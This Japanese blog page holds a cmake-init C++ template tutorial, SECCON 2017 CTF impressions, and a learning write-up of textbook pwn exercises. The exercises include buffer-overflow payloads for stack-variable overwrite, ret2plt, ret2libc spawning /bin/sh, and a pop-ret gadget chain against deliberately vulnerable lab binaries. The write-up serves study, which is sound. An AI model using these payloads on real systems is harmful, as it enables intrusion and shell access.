Weird Wired World

Programming, Security

cmake-init C++プロジェクトテンプレート

この記事は初心者C++ Advent Calendar 2017 21日目の記事です。

qiita.com

まず初めにCMakeを簡単に紹介します。CMakeはautotoolsと並んで人気のビルドツールです。やはりautotoolsと同様プラットフォームの違いを吸収してMakefileを生成します。

小規模なプロジェクトでは簡単で便利な一方で,ドキュメントやモジュール等のファイル構成を気にしだすと,設定の柔軟性から様々な選択肢があり,本当に悩めます。Qiita等にも色々と試行錯誤された投稿があるのですが,やはり独自の実装というのは気が引けますし,テストやドキュメントまで考慮されてるものは現状なさそうです。

そこで本記事では,GitHub上で広く流通していると思われるテンプレートであるcmake-initについて書きます。ライセンスはMIT。

GitHub - cginternals/cmake-init: Template for reliable, cross-platform C++ project setup using cmake.

環境: Ubuntu 16.04 64bit,cmake-init: 36de51

テンプレートを試す

テンプレートはフィボナッチ数列を計算・表示するプロジェクトになっています。このプロジェクトは共有ライブラリのビルド・結合,テスト,ドキュメントの生成を行っており,これらの書き方を学ぶことができます。それでは見ていきます。

まずは導入です。

sudo apt-get install -y git cmake doxygen graphviz
git clone https://github.com/cginternals/cmake-init

設定ファイルのディレクト.localconfig/を生成します。

./configure

全ての機能を試すために,.localconfig/defaultに次の設定を加えます。なおこの設定はcmake-initの用意する,一時的な設定を適用するための方法です。詳細は「一時的な設定」の項で紹介します。

CMAKE_OPTIONS="${CMAKE_OPTIONS} -DOPTION_BUILD_DOCS:BOOL=ON"
CMAKE_OPTIONS="${CMAKE_OPTIONS} -DOPTION_BUILD_EXAMPLES:BOOL=ON"

ビルドします。Windowsではgitに付属するgit-bashで実行できます。

./configure
cmake --build build

ここで次の2つのトラブルシューティングを書いておきます:

1. Qt5のWarningが出る場合
差し当たり無視して大丈夫です。
モジュールの1つであるfibguiがQt5に依存しています。Qt5がないとこのビルドは無視され全体のビルドには影響はないので,今回は扱わないことにしたいと思います。
2. doxygenのdotに関するエラーが出る場合
graphvizをインストールしてください。

以上の操作により,build/以下に実行バイナリ,依存ライブラリ2つ,テスト用バイナリ,及びドキュメントのビルドが完了しました。

これらのファイルの概要は次の通りです:

名前 種類 説明
libfiblibfib.so 共有ライブラリ フィボナッチ数列の適当な番号を表示する
libbaselib.so 共有ライブラリ data/DATA_FOLDER.txtの内容を読んで表示する
fibcmd 実行バイナリ baselib, fiblibを結合して実行する
fiblib-test 実行バイナリ Google Testによるテストを実行する
docs/ ディレクト doxygenの生成結果

生成されるドキュメント(build/docs/api-docs/html/index.html)のクラス一覧を見てみます:

f:id:enufranz:20171229215446p:plain:w400

最後にインストールを試してみます。

通常のインストールではバイナリは/usr/[local/]bin,リソースファイルは/usr/[local/]share/に配置されます。

cd build
sudo make install

以上でインストールできた...はずです。

しかし不明点が1つ。ライブラリをLD_LIBRARY_PATHに追加しておけば起動はできます。が,リソースディレクトリの指定方法が不明で,実行時にDATA_FOLDER.txtの読み込みエラーになってしまいます。

enuf@ubuntu:~$ export LD_LIBRARY_PATH=/usr/local/lib/:$LD_LIBRARY_PATH
enuf@ubuntu:~$ fibcmd 
Library template::baselib
========================================
Version: 2.0.0

Library type: SHARED
Data path:    data

Data directory access
========================================
Reading from 'data/DATA_FOLDER.txt': 

Unable to open file.

Fibonacci library
========================================
CTFibonacci(6) = 8
Fibonacci(8)   = 21

自身のプロジェクトに適用する

大まかな変更手順は./ADAPT(テキストファイル)に書かれています。

プロジェクト全体の設定

最上位のCMakeLists.txtで行います。プロジェクト立ち上げ時に行い大体後はそのままでしょう。

主な設定項目はプロジェクト名,バージョン,ライブラリのビルド方法,テストのビルドの有無等です。

後は各開発者が必要に応じて,一時的な設定ファイル(次項)で設定を上書きする形になります。

一時的な設定

./configureを実行して生成される.localconfig/以下のシェルスクリプトに設定を記述します。

.localconfig/以下に分離しておくことにより,レポジトリのCMakeLists.txtを変更しなくて良いように設計されています。

主な用途はビルドタイプの設定(Debg, Release),テストをビルドするかのCMakeオプションの指定,環境変数の設定などです。記述例を.localconfig/defaultから抜粋します:

BUILD_TYPE="Release"
# Disable tests
#CMAKE_OPTIONS="${CMAKE_OPTIONS} -DOPTION_BUILD_TESTS:BOOL=OFF"
# Qt
#export CMAKE_PREFIX_PATH="${CMAKE_PREFIX_PATH}:/opt/Qt5.2.1/5.2.1/gcc_64/"

CMAKE_OPTIONSの設定は./CMakeLists

モジュールの追加

モジュール(mylib)の追加をチュートリアル形式で進めます。

mylibは足し算を行うsum関数を持ち,fibcmdからリンクして実行されるとします。

下準備

まずはモジュールを追加することを宣言します。./template-config.cmakeを開きます。

set(MODULE_NAMES
    baselib
    fiblib
    mylib
)

続いてsource/CMakeLists.txtも同様に設定します。

add_subdirectory(mylib)

mylibモジュールの作成

次にmylib用のディレクトリを,他のモジュールを参考に作ります。ここでCMakeLists.txtはbaselibからコピーしたものです。

作成するディレクトリツリーは次の通りです:

mylib/
├── CMakeLists.txt
├── include
│   └── mylib
│       └── mylib.h
└── source
    └── mylib.cpp

mylib.hを次のものです:

// source/mylib/include/mylib/mylib.h
#pragma once
<mylib/mylib_api.h>
MYLIB_API int sum( int a, int b );

mylib_api.hはsource/codegeneration/template_api.h.inを元にしてビルド時に作られるヘッダです。 MYLIB_APIマクロは# define MYLIB_API attribute((visibility("default")))と定義されており,APIとして外部に公開することを表すようです。これがないとリンクエラーになります。

mylib.cppは次のものです:

// source/mylib/source/mylib.cpp
#include <mylib/mylib.h>
int sum( int a, int b ) { return a + b; }

mylibのCMakeLists.txtを編集し,モジュール名,ヘッダ・ソースのパスを編集します。

# source/mylib/CMakeLists.txt
# (前略)
set(target mylib)

# (中略)
set(headers
    ${include_path}/mylib.h
)

set(sources
    ${source_path}/mylib.cpp
)

以上でライブラリmylibのビルド準備が整いました。

examplesモジュールの設定

続いてリンクをする主体であるexamplesモジュールを編集します。

CMakeLists.txtを編集し,mylibへのリンクを記述します。

# source/examples/fibcmd/CMakeLists.txt
# (前略)
target_link_libraries(${target}
    PRIVATE
    ${DEFAULT_LIBRARIES}
    ${META_PROJECT_NAME}::baselib
    ${META_PROJECT_NAME}::fiblib
    ${META_PROJECT_NAME}::mylib
)

更にmain.cppを編集し,mylibのsum関数を呼び出します。

// source/examples/fibcmd/main.cpp
// (前略)
#include <mylib/mylib.h>

// (中略)
    std::cout << "sum(1, 2): " << sum(1, 2) << std::endl;
    return 0;
}

以上で結合が完了しました。

追加した部分の標準出力は次のようになります:

sum(1, 2): 3

結論

cpp-initはお手軽という訳ではないですが,柔軟な設定ができ実用的であるという感触を得ました。

まあ不明点があって断言はできないのですが( ̄  ̄;)

良い点

すぐに使えること
初期状態ですぐに各種ライブラリ,ドキュメント,テストの生成ができる状態になっている
Out of Sourceビルドができること
Out of Sourceビルドができるためビルド時にリポジトリを汚さない
また煩わしいmkdir build && cd build && cmake .. && makeが必要ない
大規模なプロジェクトにも対応できる
通常のCMakeではモジュール間のリンクが手間(add-subdirectoryが並列ディレクトリに適用できないため)だが,これが容易

悪い点

設定の敷居が少し高い
理由1. 一部に高度なCMakeの知識が必要なこと
理由2. ドキュメントが少ない
CMakeLists.txtの記述の重複が多いこと
モジュールごとにディレクトリを分けるタイプの構成だとCMakeLists.txtに重複する記述が多く発生する
柔軟性を担保するためかもしれないが,ここはプロジェクトごとに改善しても良さそう

おわりに

実は本調査のきっかけは,業務でプロジェクトを立ち上げた際にCMakeで独自のビルド構成を作っていたことでした。

もう少し理解が進んだらこっちを使っていきたい~

SECCON 2017に参加してみました

チームlryhとして参加しました! 私が解けたのは100P(1番易しい)4問。ザコ専ですよ! 笑

それでも楽しめたし,勉強にもなった。

雑感

一応セキュリティコンテストと銘打ってますが,あまりセキュリティ関係なくないですか! どちらかというと,IT技術総合格闘技といった印象でした。

想定より (事前調査しろよという話ですが) プログラムを書く必要があって少し驚きました。BoostとOpenCV入れるところから始めましたよ。詰まった際の対処に自信がなく今回はC++で解きましたが,やはり書き捨てはPythonの方が早いので,次回は準備しておきたいです。

感覚的にはクイズを解くようなイメージで,そこが凄く楽しめました。そして他の人のWrite-Upを見て感動..。

得意とするReversingは不発で残念だった。もっと色んなバリエーションの解析を練習する必要があると感じました。

解いた問題の感想

色々な人がWrite-Upを書かれています。私は感想だけ簡単に。

Run me! (Programming 100P)

フィボナッチ数列の問題。解けました。

普通に実行すると日が暮れてしまうので高速化します。

全然知らなかったのですが,Pythonって任意精度の計算をしてくれるんですね。私は桁あふれを懸念してBoostのcpp_intで書いてしまいました。勉強になります。

putchar music (Programming 100P)

謎のC言語の1ラインコードの問題。解けました。

標準出力をPCM PlayerにPipeすると某映画の音楽が流れる。このネタ全然知らず,結構解析に時間を使ってしまいました 泣!

チームメンバ曰く,竹迫先生が学会でLT発表していたそうですね。

ところでこのプログラム,私の環境で実行するとHDDが「ビビビビ...」って悲鳴を上げるんですよ。もしや入出力を制御して動作音で音楽を制御...(ピカーン!) とか思い筐体に耳を近づけてしまいました。あほか! 笑

Baby Stack (PWN 100P)

スタンダードなPWNの問題です。正答者少なく着手しませんでした...。時間終了後やってみたら意外に解けました。

ROPの考え方自体は定石通りで良いのですが,Go言語で書かれており解析に少し時間がかかりました。色んな言語での演習を積んでおかないとと反省。

JPEG file (Binary 100P)

Jpegの画像が1ビットだけ壊れているそうで,復元する問題です。一応解けました。

最初はヘッダの内容をツールで解析。その後直接バイナリ等を調べてみるも良くわからず。

もうね。ファイルは12kbなので総当たりで調べましたよ。全ビットを1つずつ反転した画像を出力して,あとはWindowsプレビュー機能でみる。簡単ですね (ニッコリ)

ヘッダが怪しいと睨んでいた通り,最初の1024バイトの総当たりだけで答えが出ました。

#include <bits/stdc++.h>
#include <boost/filesystem.hpp>
using namespace std;
namespace fs = boost::filesystem;

int main()
{
    const fs::path src( "tktk-892009a0993d079214efa167cda2e7afc85e6b9cb38588cba9dab23eb6eb3d46" );

    int number = 0;
    for( int i = 0; i < 1024; ++i )
    {
        for( int j = 0; j < 8; ++j )
        {
            // Copy it
            const fs::path dst( string("img/") + to_string(number) + string(".jpg") );
            fs::copy_file( src, dst, fs::copy_option::overwrite_if_exists );

            // Open copied file
            FILE* fp = fopen( dst.c_str(), "r+b" );
            if( fp == NULL )
            {
                fputs( "No such file\n", stderr );
                exit( EXIT_FAILURE );
            }

            // Rewrite bit
            unsigned char c = 0;
            fread( &c, 1, 1, fp );

            c ^= 1 << j;    // Reverse j-th bit

            fseek( fp, i, SEEK_SET );   // back because fp was moved by fread
            fwrite( &c, 1, 1, fp );

            // Finalize
            fclose( fp );
            ++number;
        }
    }
}

ハリネズミ本 PWN (BOF)

CTF初心者です。ハリネズミの2章 PWNをなぞりました。

セキュリティコンテストチャレンジブック CTFで学ぼう!情報を守るための戦い方

セキュリティコンテストチャレンジブック CTFで学ぼう!情報を守るための戦い方

まず様々なツールが整備されていることに感動。peda, checksec, pwntools, etc...。この手のツールを知ってる知らないでは差がつくのは確実だなあ。本書ではELFのみ扱ってるけどPEも同様に対策必要だろうし...まだスタートラインにも居ないと確信(;^ω^)

Reversingの事前知識はあったので問題自体は易しめに感じました。

では書いてあった内容を記憶を元に書き殴っておきます。

BOFでスタックの変数の書き換え

seq, hundred共に0で初期化されているが,これをそれぞれ0x12345678,100に変更する標準入力を考える。

// ビルド: gcc bof1.c -m32 -o bof1 -fno-stack-protector
#include <stdio.h>

int main(int argc, char *argv[]) {
    int hundred = 0;
    int seq = 0;
    char buffer[10];

    printf("buffer address\t= %x\n", (int)buffer);
    printf("seq address\t= %x\n", (int)&seq);
    printf("hundred address\t= %x\n", (int)&hundred);

    fgets(buffer, 64, stdin);
    printf("seq = 0x%x\n", seq);
    printf("hundred = %d\n", hundred);

    if(seq == 0x12345678) {
        printf("seq OK");
    }

    if(hundred == 100) {
        printf("hundered OK");
    }

    return 0;
}

題意を満たす標準入力はecho -e 'AAAAAAAAAA\x78\x56\x34\x12\x64\x0\x0\x0' | ./bof1だ(Aは任意の文字)。

Return to PLT(ret2plt)

BOFでリターンアドレス(関数の戻り先の命令のアドレス)を改ざんし,共有ライブラリの関数にPLT経由で飛ばす攻撃。

main関数の戻り先にprintf関数を指定し,bufferの内容を表示する処理を考える。

// ビルド: gcc bof3.c -m32 -o bof3 -no-ssp -fno-stack-protector
#include <stdio.h>
#include <string.h>
char buffer[32];

int main(int argc, char *argv[]) {
    char local[32];
    printf("buffer: 0x%x\n", &buffer);
    fgets(local, 128, stdin);
    strcpy(buffer, local);
    return 0;
}

まず前提知識を説明する。関数呼び出し時,内部動作としてスタックに「①引数,②リターンアドレス,③呼び出す関数のアドレス」を順に積む。今回はprintf関数を呼び出すことが目標であるから,EIPのアドレスをprintf関数のものに書き換えるだけではなく,スタックの情報を模擬する必要がある。

EIPの奪取

標準入力でリターンアドレスを上書きできるかを確認する。これには標準入力に適当な長い文字列を入力すれば良い。もしリターンアドレスが上書きできれば,EIPが予期しない領域を指しSIGSEGVで落ちる。

試しに(AA...A)を入力すると,SIGSEGVが起きEIPの値がAAAAに変化した。即ち,標準入力でリターンアドレスを上書きできることが確認できた。

次に長い(AA...A)の文字列の中のどこがEIP(リターンアドレス)に書き換わるかを確認するために,pedaのパターン文字列を利用する。

peda上でpattern_create 50を実行しAAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAを得た。これをプログラムに入力する。

gdb-peda$ r
Starting program: /home/enuf/ctf/pwn/book/bof3
buffer: 0x804a060
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA

するとSIGSEGVで落ち,EIPの値を確認して0x41414641 (b'AFAA')だと分かる。

AFAAが何番目の文字列であるは目で数えても良いが,以下のgdb-pedaコマンドを使う。

gdb-peda$ patto AFAA
AFAA found at offset: 44

offsetが44であるから,AFAAは45番目から現れる文字列である。従ってAを44回連続し,その後に攻撃対象の関数,すなわちprintf関数のアドレスに書き換えれば良いことが分かった。

PLT上のprintf関数のアドレスの取得

printfのplt上のアドレスはobjdumpコマンドで知ることができる。

# -d: disassembleを表示, -M: dissassembleのオプション, -j: セクション, --no-show-raw-insn: バイトコードを非表示
enuf@ubuntu:~/ctf/pwn/book$ objdump -d -M intel -j .plt --no bof3

bof3:     file format elf32-i386


Disassembly of section .plt:

08048340 <printf@plt-0x10>:
 8048340:  push   DWORD PTR ds:0x804a004
 8048346:  jmp    DWORD PTR ds:0x804a008
 804834c:   add    BYTE PTR [eax],al
    ...

08048350 <printf@plt>:
 8048350:  jmp    DWORD PTR ds:0x804a00c
 8048356:  push   0x0
 804835b:   jmp    8048340 <_init+0x28>

(後略)

以上により0x08048350を呼び出せば良いことが分かる。

リターンアドレスの書き換え

求める標準入力は「⓪: 引数の位置まで移動 (Aを44文字),① printf関数の引数のアドレス(&buffer),② リターンアドレス(本題ではないので適当にBBBBを挿入),③ PLT上のprintf関数のアドレス(0x08048350)」である。

enuf@ubuntu:~/ctf/pwn/book$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x50\x83\x04\x08BBBB\x60\xa0\x04\x08' | ./bof3
buffer: 0x804a060
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP�BBBB`�
Segmentation fault (core dumped)

Return to Libc(ret2libc)

BOFでリターンアドレスを改ざんし,共有ライブラリ(特に標準Cライブラリ)の関数に飛ばす攻撃。

前回の標準入力を変えて,libcのsystem関数経由でbashを呼び出すことを考える。

ret2pltと基本的な仕組みは同じ。少し異なるのは,ASLRが有効の場合,共有ライブラリがリンクされるアドレスが起動毎に異なること。先述の通り今回はASLRを無効にして考えている。

さて,やることはリターンアドレスをsystem関数のものに書き換えて,引数で/bin/sh\x00を渡すことである。前者については,ret2pltと同様に行う。後者については,標準入力の先頭を/bin/sh\x00としておけば,strcpyでlocalからbufferにコピーされる。/bin/sh\x00は8文字だから,その分Aを36文字に調整する。

今system関数のアドレスは0xf7e54e70である。

以上で標準入力に必要な情報が得られた。実行結果を次に示す。

enuf@ubuntu:~/ctf/pwn/book$ (echo -e '/bin/sh\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x70\x4e\xe5\xf7BBBB\x60\xa0\x04\x08'; cat) | ./bof3
buffer: 0x804a060
ls
=  bof3.c bof3
exit

Segmentation fault (core dumped)

成功。このようにEIPを奪えてかつW/X可能な領域があれば,そのユーザの権限を奪えることになる。なお攻撃対象のプログラムがsetuidを持つ場合にはroot権限を奪うこともできる。

popret gadget

コード領域のPOP-RETを利用する攻撃。

system関数の後にexit関数を呼び出すことで,正常終了することを考える。

rp++を使ってgadgetを探す。

enuf@ubuntu:~/ctf/pwn/book$ rp -f bof3 -r 1 | grep pop
0x0804855f: pop ebp ; ret  ;  (1 found)
0x08048339: pop ebx ; ret  ;  (1 found)
0x08048586: pop ebx ; ret  ;  (1 found)

次に関数呼び出しのためのスタックを構成する。スタックはFIFOだから,exit関数, system関数の順に考える。

  1. exit関数の引数: 0
  2. exit関数のリターンアドレス: BBBB (ダミー)
  3. exit関数のアドレス: 0xf7e47f50
  4. system関数の引数のアドレス: 0x0804a060 (&buffer)
  5. system関数のリターンアドレス: &0x0804855f (popretのアドレスを1つ選ぶ)
  6. system関数のアドレス: 0xf7e54e70

以上で標準入力に必要な情報が得られた。実行結果を次に示す。

enuf@ubuntu:~/ctf/pwn/book$ (echo -e '/bin/sh\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x70\x4e\xe5\xf7\x5f\x85\x04\x08\x60\xa0\x04\x08\x50\x7f\xe4\xf7BBBB0'; cat) | ./bof3
ls
=  bof3.c bof3
exit

成功。EXITにより正常終了することができた。

ハマったポイントのメモ

標準入力の(AA...A)の入力が手間なので,bufferのサイズを小さくしたところうまく動かない
bufferのサイズが小さいとカナリアが挿入されない。
なお,bufferサイズを小さくしたい場合は,コンパイラオプションでカナリアを挿入する閾値を下げるか,全てのスタック上の変数にカナリアを挿入する(-fstack-protector-all)方法がある。
何度確認しても正しい標準入力のハズなのにシェルが取れない
ASLRが有効になっていた。
無効化はgdb-pedaのASLRコマンドで確認していたのが誤りだった。これはgdb上での話でOS上のものとは別の話。